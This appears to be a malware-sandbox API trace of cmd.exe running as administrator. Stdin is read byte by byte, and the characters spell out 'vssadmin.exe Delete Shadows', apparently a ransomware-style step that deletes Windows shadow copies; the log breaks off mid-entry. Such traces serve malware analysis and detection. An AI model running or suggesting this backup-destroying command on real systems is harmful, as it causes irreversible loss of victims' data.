lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0069.023] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0069.069] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0069.069] CloseHandle (hObject=0x50) returned 1 [0069.070] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0069.070] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.070] GetProcessHeap () returned 0x1b0000 [0069.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0069.070] GetEnvironmentStringsW () returned 0x1d1b10* [0069.070] GetProcessHeap () returned 0x1b0000 [0069.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0069.070] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0069.070] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.070] GetProcessHeap () returned 0x1b0000 [0069.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0069.070] GetEnvironmentStringsW () returned 0x1d1b10* [0069.070] GetProcessHeap () returned 0x1b0000 [0069.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0069.070] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0069.070] GetProcessHeap () returned 0x1b0000 [0069.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0069.070] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0069.070] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.071] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.071] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.071] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.071] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0069.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.072] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0069.072] GetConsoleOutputCP () returned 0x1b5 [0069.072] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0069.072] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.072] GetProcessHeap () returned 0x1b0000 [0069.072] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0069.072] GetProcessHeap () returned 0x1b0000 [0069.072] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0069.072] GetProcessHeap () returned 0x1b0000 [0069.072] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0069.072] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0069.073] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0069.073] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0069.073] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0069.073] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0069.073] GetProcessHeap () returned 0x1b0000 [0069.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0069.073] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0069.073] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.073] GetFileType (hFile=0x120) returned 0x3 [0069.073] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.073] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0069.073] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.073] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.073] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.073] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0069.073] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.073] GetFileType (hFile=0x120) returned 0x3 [0069.074] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.074] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0069.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.074] GetFileType (hFile=0xb8) returned 0x3 [0069.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="vc delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="s delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr="sdelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="aelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="dlete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="mete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ite ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="ne ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.076] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr=". ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.076] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr="eofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.076] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="xfcservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.076] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="ecservice\nervice\ne\n\n\nA\"\n") returned 1 [0069.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.076] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr=" service\nervice\ne\n\n\nA\"\n") returned 1 [0069.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.077] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Dervice\nervice\ne\n\n\nA\"\n") returned 1 [0069.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.077] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="ervice\nervice\ne\n\n\nA\"\n") returned 1 [0069.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.077] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="lvice\nervice\ne\n\n\nA\"\n") returned 1 [0069.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.077] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eice\nervice\ne\n\n\nA\"\n") returned 1 [0069.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="tce\nervice\ne\n\n\nA\"\n") returned 1 [0069.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="ee\nervice\ne\n\n\nA\"\n") returned 1 [0069.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr=" \nervice\ne\n\n\nA\"\n") returned 1 [0069.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="Service\ne\n\n\nA\"\n") returned 1 [0069.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="hrvice\ne\n\n\nA\"\n") returned 1 [0069.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="avice\ne\n\n\nA\"\n") returned 1 [0069.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="dice\ne\n\n\nA\"\n") returned 1 [0069.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="oce\ne\n\n\nA\"\n") returned 1 [0069.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="we\ne\n\n\nA\"\n") returned 1 [0069.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="s\ne\n\n\nA\"\n") returned 1 [0069.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, 